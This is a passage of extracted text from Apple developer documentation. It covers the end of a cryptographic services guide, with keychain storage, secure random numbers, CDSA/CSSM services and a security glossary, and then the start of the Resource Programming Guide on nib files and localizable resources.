keychain, which remain encrypted in the backup. It is therefore important to use the keychain to store passwords and other data (such as cookies) that are used to accesssecure web sites. Otherwise, this data might be compromised if an unauthorized person gains access to the backup data. To get started using Keychain Services, see Keychain Services Programming Guide and Keychain Services Reference . In OS X, the Keychain Access application provides a user interface to the keychain. See “Keychain Access” in Security Overview for more information about this application. To Learn More For more information about using Keychain Servicesto store and retrieve secrets and certificates, read Keychain Services Programming Guide and Keychain Services Reference . Tor more information about Secure Transport, read “Secure Transport” (page 29). For more information about the certificate user interface API, read “SecurityObjective-C API” in SecurityOverview. Managing Keys, Certificates, and Passwords Keychain Services 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 24Cryptographically secure pseudorandomnumbers are required for a number of encryption algorithms. Because these pseudorandom numbers are generated by a computer algorithm, they are not truly random. However, the algorithm is not discernible from the sequence. The way you generate random numbers depends on whether you are writing code for OS X or iOS. Generating Random Numbers in OS X In OS X, you can get cryptographically secure pseudorandom numbers by reading from /dev/random. Important: Numbers generated by the rand and random APIs are not cryptographically secure. In OS X, given the same initial seed value, both functions reproducibly generate a consistent sequence of values each time you run them, and neither generates an equally distributed set of possible values. For example, if you need a random 64-bit integer value, you could write code like this: FILE *fp = fopen("/dev/random", "r"); if (!fp) { perror("randgetter"); exit(-1); } uint64_t value = 0; int i; for (i=0; i Add Keychain menu item to add them to your list of keychains) to see what they contain and how the certificate chains are constructed. A trust policy (TP) plug-in performs two main functions: it assembles the chain of certificates needed to verify a given certificate, and it determines the level of trust that can be accorded the certificate. The AppleX509TP module performs these functions on X.509 certificates, using trust policies established by Apple. CSSM Services Although the OS X security APIs provide all the capabilities you are ever likely to need for developing secure applications, nearly all the standard CSSM APIs are also available for your use. This section briefly describes the functions provided by each CSSM service. For details, see Common Security: CDSA and CSSM, version 2 (with corrigenda), from the Open Group. Cryptographic Services Cryptographic Services in CSSM provides functions to perform the following tasks: ● Encrypting and decrypting text and data ● Creating and verifying digital signatures ● Creating a cryptographic hash (used for message digests and other purposes) ● Generating symmetric and asymmetric pairs of cryptographic keys ● Generating pseudorandom numbers ● Controlling access to the CSP for creation of keys To see exactly which security protocols and algorithms are supported by Apple’s CSP implementation, see the documentation provided with the Open Source security code, which you can download at Apple’s Open Source site, and the Security Release Notes in the latest Xcode Tools from Apple. CDSA Overview CSSM Services 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 35Data Store Services CSSM Data Store Services provides an API for storing and retrieving data that is independent of the type of storage used. If there is more than one DL module installed, the caller can query Data Store Services to learn the capabilities of each and select which one to use in a particular call. The Apple implementation of Data Store Services supports any standard CDSA DL plug-in module. The AppleFileDL Data Storage Library and AppleCSP/DL Encrypted Data Storage module both implement functions called by Data Store Services. Certificate Services Certificate Services as specified by CDSA performs the following functions: ● Verifies the signatures on certificates and certificate revocation lists ● Creates certificates and certificate revocation lists ● Signs certificates and certificate revocation lists ● Extracts values of fields from certificates and certificate revocation lists ● Searches certificate revocation lists for specified certificates Apple’s implementation of Certificate Services supports all of the CL API functions in the CDSA/CSSM specification. Trust Policy Services The OS X implementation of CSSM Trust Policy Services provides functions to verify certificates, to determine what attributes they contain and therefore the level of trust they can be given, and to construct a chain of related certificates. It does not implement other trust policy functions in the CSSM standard. Documentation for the CSSM trust policy functions supported by Apple’s TP implementation can be found with the Open Source security code, which you can download at Apple’s Open Source site. Authorization Computation Services Apple’s implementation of CSSM does not include the Authorization Computation Services defined in the CDSA standard. Instead, the Authorization Services API calls the Security Server daemon directly (see Figure A-1 (page 32)). CDSA Overview CSSM Services 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 36This table describes the changes to Cryptographic Services Guide . Date Notes 2012-09-19 Updated artwork and made minor editorial fixes. New document that describesthe encryption, decryption,signing, hashing, and other cryptographic technologies in OS X and iOS. 2012-01-09 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 37 Document Revision Historyalgorithm A sequence of actions to accomplish some task. In cryptography, refers to a sequence of actions, usually mathematical calculations, performed on data to encrypt or decrypt it. anchor certificate A digital certificate trusted to be valid, which can then be used to verify other certificates. An anchor certificate can be a root certificate, a cross-certified certificate (that is, a certificate signed with more than one certificate chain), or a locally defined source of trust. asymmetric keys A pair of related but dissimilar keys, one used for encrypting and the other used for decrypting a message or other data. See also public key cryptography. Compare symmetric keys. authentication The process by which a person or other entity (such as a server) proves that it is who (or what) it says it is. Compare authorization; identification. authorization The process by which an entity such as a user or a server gets the right to perform a operation that only specific entities are allowed to perform. (Authorization can also refer to the right itself, as in “Bob has the authorization to run that program.”) Authorization usually involves first authenticating the entity and then determining whether it hasthe appropriate permissions. Compare authentication. BSD Berkeley Software Distribution. BSD is a form of the UNIX operating system and providesthe basis for the OS X file system, including file access permissions. CA See certification authority (CA). CDSA Abbreviation for Common Data Security Architecture. An open software standard for a security infrastructure that provides a wide array of security services, including fine-grained access permissions, authentication of users, encryption, and secure data storage. CDSA has a standard application programming interface, called CSSM. In addition, OS X includes its own security APIs that call the CDSA API for you. See also CDSA plug-in. CDSA plug-in A software module that connects to CDSA through a standard interface and that implements or extends CDSA security services for a particular operating system and hardware environment. certificate See digital certificate. certificate authority See certification authority (CA). certificate chain A sequence of related digital certificates that are used to verify the validity of a digital certificate. Each certificate is digitally signed using the certificate of its certification authority (CA). This creates a chain of certificates ending in an anchor certificate. certificate extension A data field in a digital certificate containing information such as allowable uses for the certificate. Certificate, Key, and Trust Services An API you can use to create, manage, and read certificates; add certificates to a keychain; create encryption keys; and manage trust policies. In iOS, you can also use this API to encrypt, decrypt, and sign data. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 38 Glossarycertification authority (CA) The issuer of a digital certificate. In order for the digital certificate to be trusted, the certification authority must be a trusted organization that authenticates an applicant before issuing a certificate. CFHTTP An API that you can use to create,serialize, deserialize, and manage HTTP protocol messages, including secure HTTPS messages. This component lets you add authentication information to a message. CFHTTP is a component of CFNetwork and is built on top of CFStream. CFNetwork A high-level API used for creating, sending, and receiving serialized messages over a network. CFNetwork is built on top of Secure Transport, and so can use the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) secure networking protocols. CFStream An API that creates and manages the read and write streams that CFHTTP depends on. CFStream is a component of CFNetwork and is built on top of Secure Transport. You can specify a Secure Sockets Layer (SSL) or Transport Layer Security (TLS) protocol version to encrypt and decrypt the data stream. chain of trust See certificate chain. cipher A scheme for encrypting data. ciphertext Text or other data that has been encrypted. Compare cleartext. cleartext Ordinary, unencrypted data. Compare ciphertext. code signing The addition of a digital signature to an application or block of code. credentials Data that can be used to identify, authenticate, or authorize an entity. For example, a user name and password constitute authentication credentials. A Kerberos ticket, consisting of an encrypted session key and other information, is an example of an identification credential. cryptographic hash function An algorithm that takes any amount of data and transforms it into a fixed-size output value. For a cryptographic hash function to be useful for security, it has to be extremely difficult or impossible to reconstruct the original data from the hash value, and it must be extremely unlikely that the same output value could result from any other input data. See also message digest. cryptographic hashing The process whereby data is transformed using a cryptographic hash function. CSSM Abbreviation for Common Security Services Manager. A public application programming interface for CDSA. CSSM also defines an interface for plug-ins that implement security services for a particular operating system and hardware environment. decryption The transformation of ciphertext back into the original cleartext. Compare encryption. See also asymmetric keys; symmetric keys. Diffie-Hellman key exchange A protocol that provides a way for two ends of a communication session to generate symmetric private keys through the exchange of public keys. digest See message digest. digital certificate A collection of data used to verify the identity of the holder orsender of the certificate. OS X and iOS support the X.509 standard for digital certificates. See also certificate chain. digital ID See digital certificate. Glossary 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 39digital signature A way to ensure the integrity of a message or other data using public key cryptography. To create a digitalsignature, the signer generates a message digest of the data and then uses a private key to encrypt the digest. The signature includes the encrypted digest and identifies the signer. Anyone wanting to verify the signature uses the signer’s digital certificate, which containsthe public key needed to decrypt the digest and specifiesthe algorithm used to create the digest. encryption The transformation of data into a form in which it cannot be made sense of without the use of some key. Such transformed data is referred to as ciphertext. Use of a key to reverse this process and return the data to its original (or cleartext) form is called decryption. hash algorithm See cryptographic hash function. identification The process by which a process verifies that a person or entity is the same one it communicated with previously. Identification is in general faster than authentication and does not require interaction with the user. identity A digital certificate together with an associated private key. key A piece of secret information required to decode an encrypted message. In modern cryptographic methods, it is usually a lengthy integer. keychain A database in OS X and iOS used to store encrypted passwords, private keys, and othersecrets. It is also used to store certificates and other non-secret information that is used in cryptography and authentication. Applications can use the keychain services API (or the legacy keychain manager API) to manipulate data in the keychain. Users can also access keychain data using the Keychain Access utility. Keychain Access An OS X utility that enables users to view and modify the data stored in the keychain. Keychain Services An API forsecurely storing small amounts of data on the keychain. level of trust The confidence you can have in the validity of a certificate, based on the certificates in its certificate chain and on the certificate extensions the certificate contains. The level of trust for a certificate is used together with the trust policy to answer the question “Should I trust this certificate for this action?” man-in-the-middle attack An attack on a communication channel in which the attacker can intercept messages going between two parties without the communicating parties’ knowledge. Typically, the man in the middle substitutes messages and even cryptographic keys to impersonate one party to the other. message digest The result of applying a cryptographic hash function to a message or other data. A cryptographically secure message digest cannot be transformed back into the original message and cannot (or is very unlikely to) be created from a different input. Message digests are used to ensure that a message has not been corrupted or altered. For example, they are used for this purpose in digital signatures. The digital signature includes a digest of the original message, and the recipient prepares their own digest of the received message. If the two digests are identical, then the recipient can be confident that the message has not been altered or corrupted. MIME Acronym for Multipurpose Internet Mail Extensions. A standard for transmitting formatted text, hypertext, graphics, and audio in electronic mail messages over the Internet. PKI See public key infrastructure (PKI). Glossary 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 40plaintext See cleartext. plug-in A code module that uses a standard interface to implement certain features of a program or extend the program. See also CDSA plug-in. private key A cryptographic key that must be kept secret. Whereas a pair of identical private keys can be used as symmetric keys, asymmetric keys consist of one private key and one public key. pseudorandom number A number generated by an algorithm that produces a series of numbers with no discernible pattern. It should be impossible or nearly impossible to deduce the algorithm from such a series. However, unlike a truly random number generator, a pseudorandom number generator always produces the same series if the algorithm is given the same starting value or values. public key A cryptographic key that can be shared or made public without compromising the cryptographic method. See also public key cryptography. public key certificate See digital certificate. public key cryptography A cryptographic method using asymmetric keys in which one key is made public while the other (the private key ) is kept secure. Data encrypted with one key must be decrypted with the other. If the public key is used to encrypt the data, only the holder of the private key can decrypt it; therefore the data is secure from unauthorized use. If the private key is used to encrypt the data, anyone with the public key can decrypt it. Because only the holder of the private key could have encrypted it, however,such data can be used for authentication. See also digital certificate; digital signature. public key infrastructure (PKI) As defined by the X.509 standard, a PKI isthe set of hardware,software, people, policies, and procedures needed to create, manage, store, distribute, and revoke digital certificates that are based on public key cryptography. quantum computer A computer in which the logic gates are based on quantum phenomena such as electron spin rather than mechanical or conventional electronic components. Because of the superposition of quantum states(a consequence of the Heisenberg Uncertainty Principle), a properly designed quantum computer can in principle perform simultaneously certain types of calculations that require a huge number of sequential operations in a classic computer. Consequently, factoring large numbers should be several orders of magnitude faster on a quantum computer than on present-day supercomputers. Because the strength of most modern cryptographic methods depends on the difficulty of making such calculations, a practical quantumcomputer would breakmost cryptographic schemes in common use. Although small proof-of-concept quantum computers have been constructed, no such machine capable of solving practical problems has yet been demonstrated. Randomization Services An iOS API that produces cryptographically secure pseudorandom numbers. root certificate A certificate that can be verified without recourse to another certificate. Rather than being signed by a further certification authority (CA), a root certificate is verified using the widely available public key of the CA that issued the root certificate. Compare anchor certificate. root certification authority The certification authority that owns the root certificate. Glossary 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 41RSA encryption A system of public key cryptography, named for its inventors: Ron Rivest, Adi Shamir, and Leonard Adleman. The RSA algorithm takestwo large prime numbers, findstheir product, and then derives asymmetric keysfrom the prime numbers and their product. Because the public key includes the product, the private key could be derived from the public key if the product could be factored. No easy method for factoring products of large prime numbers is currently known, but it has not been mathematically proven that no such method is possible. Therefore, the discovery of a fast way to factor such numbers, or the development of quantum computers, would break RSA. secret key A cryptographic key that cannot be made public without compromising the security of the cryptographic method. In symmetric key cryptography , the secret key is used both to encrypt and decrypt the data. In asymmetric key cryptography , a (secret) private key is paired with a public key. Whichever one is used to encrypt the data, the other is used to decrypt it. See also public key; public key cryptography. Secure Sockets Layer(SSL) A protocol that provides secure communication over a TCP/IP connection such as the Internet. It uses digital certificates for authentication and digital signatures to ensure message integrity, and can use public key cryptography to ensure data privacy. An SSL service negotiates a secure session between two communicating endpoints. SSL is built into all major browsers and web servers. SSL has been superseded by Transport Layer Security (TLS). secure storage Storage of encrypted data on disk or another medium that persists when the power is turned off. Secure Transport The OS X and iPhone implementation of Secure Sockets Layer (SSL) and Transport Layer Security (TLS), used to create secure connections over TCP/IP connections such as the Internet. On OS X, Secure Transport includes an API that is independent of the underlying transport protocol. The CFNetwork and URL Loading System APIs use the services of Secure Transport. session key A cryptographic key calculated or issued for use only for the duration of a specific communication session. Session keys are used, for example, by the Diffie-Hellman key exchange and Kerberos protocols. S/MIME Acronym for Secure Multipurpose Internet Mail Extensions. A specification that adds digital signature authentication and encryption to electronic mail messages in MIME format. SSL See Secure Sockets Layer (SSL). strength A measure of the amount of effort required to break a security system. For example, the strength of RSA encryption is believed to be related to the difficulty of factoring the product of two large prime numbers. symmetric keys A pair of identical keys used to encrypt and decrypt data. See also private key. Compare asymmetric keys. TLS See Transport Layer Security (TLS). Transport Layer Security (TLS) A protocol that provides secure communication over a TCP/IP connection such as the Internet. It uses digital certificates for authentication and digital signatures to ensure message integrity, and can use public key cryptography to ensure data privacy. A TLS service negotiates a secure session between two communicating endpoints. TLS is built into recent versions of all major browsers and web servers. TLS Glossary 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 42is the successor to SSL. Although the TLS and SSL protocols are not interoperable, Secure Transport can back down to SSL 3.0 if a TLS session cannot be negotiated. trust See level of trust. trust policy A set of rules that specify the appropriate uses for a certificate that has a specific level of trust. For example, the trust policy for a browser might state that if a certificate has an SSL certificate extension, but the certificate has expired, the user should be prompted for permission before a secure session is opened with a web server. URL Loading System An API that you can use to access the contents of http://, https://, and ftp:// URLs. Because https:// websites use Secure Sockets Layer (SSL) or Transport Layer Security (TLS) to protect data transfers, you can use the URL Loading System as a secure transport API. The URL Loading System is layered on top of CFNetwork. X.509 A standard for digital certificates promulgated by the International Telecommunication Union (ITU). The X.509 ITU standard is widely used on the Internet and throughout the information technology industry for designing secure applications based on a public key infrastructure (PKI). Glossary 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 43Apple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Cocoa, FileVault, iPhone, Keychain, Numbers, Objective-C, OS X, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. UNIX is a registered trademark of The Open Group. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Resource Programming GuideContents About Resources 5 At a Glance 5 Nib Files Store the Objects of Your Application’s User Interface 6 String Resources Containing Localizable Text 6 Images, Sounds, and Movies Represent Pre-rendered Content 6 Property Lists and Data Files Separate Data from Code 7 iOS Supports Device-Specific Resources 7 See Also 8 Nib Files 9 Anatomy of a Nib File 9 About Your Interface Objects 10 About the File’s Owner 10 About the First Responder 10 About the Top-Level Objects 11 About Image and Sound Resources 11 Nib File Design Guidelines 11 The Nib Object Life Cycle 12 The Object Loading Process 12 Managing the Lifetimes of Objects from Nib Files 15 Top-level Objects in OS X May Need Special Handling 17 Legacy Patterns 17 Action Methods 20 Built-In Support For Nib Files 21 The Application Loads the Main Nib File 22 Each View Controller Manages its Own Nib File 22 Document and Window Controllers Load Their Associated Nib File 22 Loading Nib Files Programmatically 23 Loading Nib Files Using NSBundle 23 Getting a Nib File’s Top-Level Objects 25 Loading Nib Files Using UINib and NSNib 27 Replacing Proxy Objects at Load Time 28 Accessing the Contents of a Nib File 30 Connecting Menu Items Across Nib Files 30 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 2String Resources 32 Creating Strings Resource Files 33 Choosing Which Strings to Localize 33 About the String-Loading Macros 34 Using the genstrings Tool to Create Strings Files 35 Creating Strings Files Manually 36 Detecting Non-localizable Strings 37 Loading String Resources Into Your Code 37 Using the Core Foundation Framework 38 Using the Foundation Framework 39 Examples of Getting Strings 39 Advanced Strings File Tips 40 Searching for Custom Functions With genstrings 40 Formatting String Resources 41 Using Special Characters in String Resources 41 Debugging Strings Files 42 Image, Sound, and Video Resources 43 Images and Sounds in Nib Files 43 Loading Image Resources 43 Loading Images in Objective-C 44 Loading Images Using Quartz 45 Specifying High-Resolution Images in iOS 46 Data Resource Files 48 Property List Files 48 OS X Data Resource Files 48 Document Revision History 50 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsTables and Listings Nib Files 9 Listing 1-1 Loading a nib file from the current bundle 24 Listing 1-2 Loading a nib in an iPhone application 25 Listing 1-3 Using outlets to get the top-level objects 25 Listing 1-4 Getting the top-level objects from a nib file at runtime 26 Listing 1-5 Loading a nib file using NSNib 28 Listing 1-6 Replacing placeholder objects in a nib file 29 String Resources 32 Table 2-1 Common parameters found in string-loading routines 37 Listing 2-1 A simple strings file 32 Listing 2-2 Strings localized for English 36 Listing 2-3 Strings localized for German 36 Listing 2-4 Strings with formatting characters 41 Image, Sound, and Video Resources 43 Listing 3-1 Loading an image resource 44 Listing 3-2 Using data providers to load image resources 45 Data Resource Files 48 Table 4-1 Other resource types 49 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 4Applied to computer programs, resources are data filesthat accompany a program’s executable code. Resources simplify the code you have to write by moving the creation of complex sets of data or graphical content outside of your code and into more appropriate tools. For example, rather than creating images pixel by pixel using code, it is much more efficient (and practical) to create them in an image editor. To take advantage of a resource, all your code has to do is load it at runtime and use it. In addition to simplifying your code, resources are also an intimate part of the internationalization process for all applications. Rather than hard-coding strings and other user-visible content in your application, you can place that content in external resource files. Localizing your application then becomes a simple process of creating new versions of each resource file for each supported language. The bundle mechanism used in both OS X and iOS provides a way to organize localized resources and to facilitate the loading of resource files that match the user’s preferred language. This document provides information about the types of resources supported in OS X and iOS and how you use those resources in your code. This document does not focus on the resource-creation process. Most resources are created using either third-party applications or the developer tools provided in the /Developer/Applications directory. In addition, although this document refers to the use of resources in applications, the information also applies to other types of bundled executables, including frameworks and plug-ins. Before reading this document, you should be familiar with the organizationalstructure imposed by application bundles. Understanding this structure makes it easier to organize and find the resource files your application uses. For information on the structure of bundles, see Bundle Programming Guide . At a Glance Applications can contain many types of resources but there are several that are supported directly by iOS and OS X. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 5 About ResourcesNib Files Store the Objects of Your Application’s User Interface Nib files are the quintessential resource type used to create iOS and Mac apps. A nib file is a data archive that essentially contains a set of freeze-dried objects that you want to recreate at runtime. Nib files are used most commonly to store preconfigured windows, views, and other visually oriented objects but they can also store nonvisual objects such as controllers. You create nib files using the Interface Builder application, which provides a graphical assembly area for assembling your objects. When you subsequently load a nib file into your application, the nib-loading code instantiates each object in the file and restores it to the state you specified in Interface Builder. Thus, what you see in Interface Builder is really what you get in your application at runtime. Relevant Chapters: “Nib Files” (page 9) String Resources Containing Localizable Text Text is a prominent part of most user interfaces but also a resource that is most affected by localization changes. Rather than hard-coding text into your code, iOS and OS X support the storage of user-visible text in strings files, which are human-readable text files (in the UTF-16 encoding) containing a set of string resources for an application. (The use of the plural “strings” in is deliberate and due to the .strings filename extension used by files of that type.) Strings files greatly simplify the internationalization and localization process by allowing you to write your code once and then load the appropriately localized text from resource files that can be changed easily. The Core Foundation and Foundation frameworks provide the facilities for loading text from strings files. Applications that use these facilities can also take advantage of tools that come with Xcode to generate and maintain these resource files throughout the development process. Relevant Chapters: “String Resources” (page 32) Images, Sounds, and Movies Represent Pre-rendered Content Images, sound, and movie resources play an important role in iOS and Mac apps. Images are responsible for creating the unique visual style used by each operating system; they also help simplify your drawing code for complex visual elements. Sound and movie files similarly help enhance the overall user experience of your application while simplifying the code needed to create that experience. Both operating systems provide extensive support for loading and presenting these types of resources in your applications. About Resources At a Glance 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 6Relevant Chapters: “Image, Sound, and Video Resources” (page 43) Property Lists and Data Files Separate Data from Code A property list file is a structured file used to store string, number, Boolean, date, and raw data values. Data items in the file are organized using array and dictionary structures with most items associated with a unique key. The system uses property lists to store simple data sets. For example, the Info.plist file found in nearly every application is an example of a property list file. You can also use property list files for simple data storage needs. In addition to property lists, OS X supports some specially structured files for specific uses. For example, AppleScript data and user help are stored using specially formatted data files. You can also create custom data files of your own. Relevant Chapters: “Data Resource Files” (page 48) iOS Supports Device-Specific Resources In iOS 4.0 and later, it is possible to mark individual resource files as usable only on a specific type of device. This capability simplifies the code you have to write for Universal applications. Rather than creating separate code paths to load one version of a resource file for iPhone and a different version of the file for iPad, you can let the bundle-loading routines choose the correct file. All you have to do is name your resource files appropriately. To associate a resource file with a particular device, you add a custom modifier string to its filename. The inclusion of this modifier string yields filenames with the following format: . The string represents the original name of the resource file. It also represents the name you use when accessing the file from your code. Similarly, the string is the standard filename extension used to identify the type of the file. The string is a case-sensitive string that can be one of the following values: ● ~ipad - The resource should be loaded on iPad devices only. ● ~iphone - The resource should be loaded on iPhone or iPod touch devices only. About Resources At a Glance 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 7You can apply device modifiers to any type of resource file. For example, suppose you have an image named MyImage.png. To specify different versions of the image for iPad and iPhone, you would create resource files with the names MyImage~ipad.png and MyImage~iphone.png and include them both in your bundle. To load the image, you would continue to refer to the resource as MyImage.png in your code and let the system choose the appropriate version, as shown here: UIImage* anImage = [UIImage imageNamed:@"MyImage.png"]; On an iPhone or iPod touch device, the system loads the MyImage~iphone.png resource file, while on iPad, it loadsthe MyImage~ipad.png resource file. If a device-specific version of a resource is not found, the system falls back to looking for a resource with the original filename, which in the preceding example would be an image named MyImage.png. See Also The following Apple Developer documents are conceptually related to Resource Programming Guide : ● Bundle Programming Guide describes the bundle structure used by applications to store executable code and resources. ● Internationalization Programming Topics describes the process of preparing an application (and its resources) for translation into other languages. ● Interface Builder User Guide describes the application used to create nib file resources. ● Property List Programming Guide describes the facilities in place for loading property-list resource files into a Cocoa application. ● Property List Programming TopicsforCore Foundation describesthe facilitiesinplace forloadingproperty-list resource files into a C-based application. About Resources See Also 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 8Nib files play an important role in the creation of applications in OS X and iOS. With nib files, you create and manipulate your user interfaces graphically, using Xcode, instead of programmatically. Because you can see the results of your changesinstantly, you can experiment with different layouts and configurations very quickly. You can also change many aspects of your user interface later without rewriting any code. For applications built using the AppKit or UIKit frameworks, nib files take on an extra significance. Both of these frameworks support the use of nib files both for laying out windows, views, and controls and for integrating those items with the application’s event handling code. Xcode works in conjunction with these frameworks to help you connect the controls of your user interface to the objects in your project that respond to those controls. This integration significantly reduces the amount of setup that is required after a nib file is loaded and also makes it easy to change the relationships between your code and user interface later. Note: Although you can create an Objective-C application without using nib files, doing so is very rare and not recommended. Depending on your application, avoiding nib files might require you to replace large amounts of framework behavior to achieve the same results you would get using a nib file. Anatomy of a Nib File A nib file describes the visual elements of your application’s user interface, including windows, views, controls, and many others. It can also describe non-visual elements,such asthe objectsin your application that manage your windows and views. Most importantly, a nib file describes these objects exactly as they were configured in Xcode. At runtime, these descriptions are used to recreate the objects and their configuration inside your application. When you load a nib file at runtime, you get an exact replica of the objectsthat were in your Xcode document. The nib-loading code instantiates the objects, configures them, and reestablishes any inter-object connections that you created in your nib file. The following sections describe how nib files used with the AppKit and UIKit frameworks are organized, the types of objects found in them, and how you use those objects effectively. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 9 Nib FilesAbout Your Interface Objects Interface objects are what you add to an nib file to implement your user interface. When a nib is loaded at runtime, the interface objects are the objects actually instantiated by the nib-loading code. Most new nib files have at least one interface object by default, typically a window or menu resource, and you add more interface objects to a nib file as part of your interface design. This is the most common type of object in a nib file and is typically why you create nib files in the first place. Besides representing visual objects, such as windows, views, controls, and menus, interface objects can also represent non-visual objects. In nearly all cases, the non-visual objects you add to a nib file are extra controller objects that your application uses to manage the visual objects. Although you could create these objects in your application, it is often more convenient to add them to a nib file and configure them there. Xcode provides a generic object that you use specifically when adding controllers and other non-visual objects to a nib file. It also provides the controller objects that are typically used to manage Cocoa bindings. About the File’s Owner One of the most important objects in a nib file is the File’s Owner object. Unlike interface objects, the File’s Owner object is a placeholder object that is not created when the nib file is loaded. Instead, you create this object in your code and pass it to the nib-loading code. The reason this object is so important is that it is the main link between your application code and the contents of the nib file. More specifically, it is the controller object that is responsible for the contents of the nib file. In Xcode, you can create connections between the File’s Owner and the other interface objects in your nib file. When you load the nib file, the nib-loading code recreates these connections using the replacement object you specify. This allows your object to reference objects in the nib file and receive messages from the interface objects automatically. About the First Responder In a nib file, the First Responder is a placeholder object that represents the first object in your application’s dynamically determined responder chain. Because the responder chain of an application cannot be determined at design time, the First Responder placeholder acts as a stand-in target for any action messages that need to be directed at the application’sresponder chain. Menu items commonly target the First Responder placeholder. For example, the Minimize menu item in the Window menu hides the frontmost window in an application, not just a specific window, and the Copy menu item should copy the current selection, not just the selection of a single control or view. Other objects in your application can target the First Responder as well. When you load a nib file into memory, there is nothing you have to do to manage or replace the First Responder placeholder object. The AppKit and UIKit frameworks automatically set and maintain the first responder based on the application’s current configuration. Nib Files Anatomy of a Nib File 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 10For more information about the responder chain and how it is used to dispatch events in AppKit–based applications,see “Event Architecture” inCocoa Event Handling Guide . For information about the responder chains and handling actions in iPhone applications, see Event Handling Guide for iOS . About the Top-Level Objects When your program loads a nib file, Cocoa recreates the entire graph of objects you created in Xcode. This object graph includes all of the windows, views, controls, cells, menus, and custom objects found in the nib file. The top-level objects are the subset of these objects that do not have a parent object. The top-level objects typically include only the windows, menubars, and custom controller objects that you add to the nib file. (Objects such as File’s Owner, First Responder, and Application are placeholder objects and not considered top-level objects.) Typically, you use outlets in the File’s Owner object to store references to the top-level objects of a nib file. If you do not use outlets, however, you can retrieve the top-level objects from the nib-loading routines directly. You should always keep a pointer to these objects somewhere because your application is responsible for releasing them when it is done using them. For more information about the nib object behavior at load time, see “Managing the Lifetimes of Objects from Nib Files” (page 15). About Image and Sound Resources In Xcode, you can refer to external image and sound resources from within the contents of your nib files. Some controls and views are able to display images or play sounds as part of their default configuration. The Xcode library provides access to the image and sound resources of your Xcode projects so that you can link your nib files to these resources. The nib file does not store these resources directly. Instead, it stores the name of the resource file so that the nib-loading code can find it later. When you load a nib file that contains references to image or sound resources, the nib-loading code reads the actual image or sound file into memory and and caches it. In OS X, image and sound resources are stored in named caches so that you can access them later if needed. In iOS, only image resources are stored in named caches. To access images, you use the imageNamed: method of NSImage or UIImage, depending on your platform. To access cached sounds in OS X, use the soundNamed: method of NSSound. Nib File Design Guidelines When creating your nib files, it is important to think carefully about how you intend to use the objects in that file. A very simple application might be able to store all of its user interface components in a single nib file, but for most applications, it is better to distribute components across multiple nib files. Creating smaller nib files lets you load only those portions of your interface that you need immediately. They also make it easier to debug any problems you might encounter, since there are fewer places to look for problems. Nib Files Nib File Design Guidelines 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 11When creating your nib files, try to keep the following guidelines in mind: ● Design your nib files with lazy loading in mind. Plan on loading nib files that contain only those objects you need right away. ● In the main nib file for an OS X application, considerstoring only the application menu bar and an optional application delegate object in the nib file. Avoid including any windows or user-interface elements that will not be used until after the application has launched. Instead, place those resources in separate nib files and load them as needed after launch. ● Store repeated user-interface components (such as document windows) in separate nib files. ● For a window or menu that is used only occasionally,store it in a separate nib file. By storing it in a separate nib file, you load the resource into memory only if it is actually used. ● Make the File’s Owner the single point-of-contact for anything outside of the nib file; see “Accessing the Contents of a Nib File” (page 30). The Nib Object Life Cycle When a nib file is loaded into memory, the nib-loading code takes several steps to ensure the objects in the nib file are created and initialized properly. Understanding these steps can help you write better controller code to manage your user interfaces. The Object Loading Process When you use the methods of NSNib or NSBundle to load and instantiate the objectsin a nib file, the underlying nib-loading code does the following: 1. It loads the contents of the nib file and any referenced resource files into memory: ● The raw data for the entire nib object graph is loaded into memory but is not unarchived. ● Any custom image resources associated with the nib file are loaded and added to the Cocoa image cache; see “About Image and Sound Resources” (page 11). ● Any custom sound resources associated with the nib file are loaded and added to the 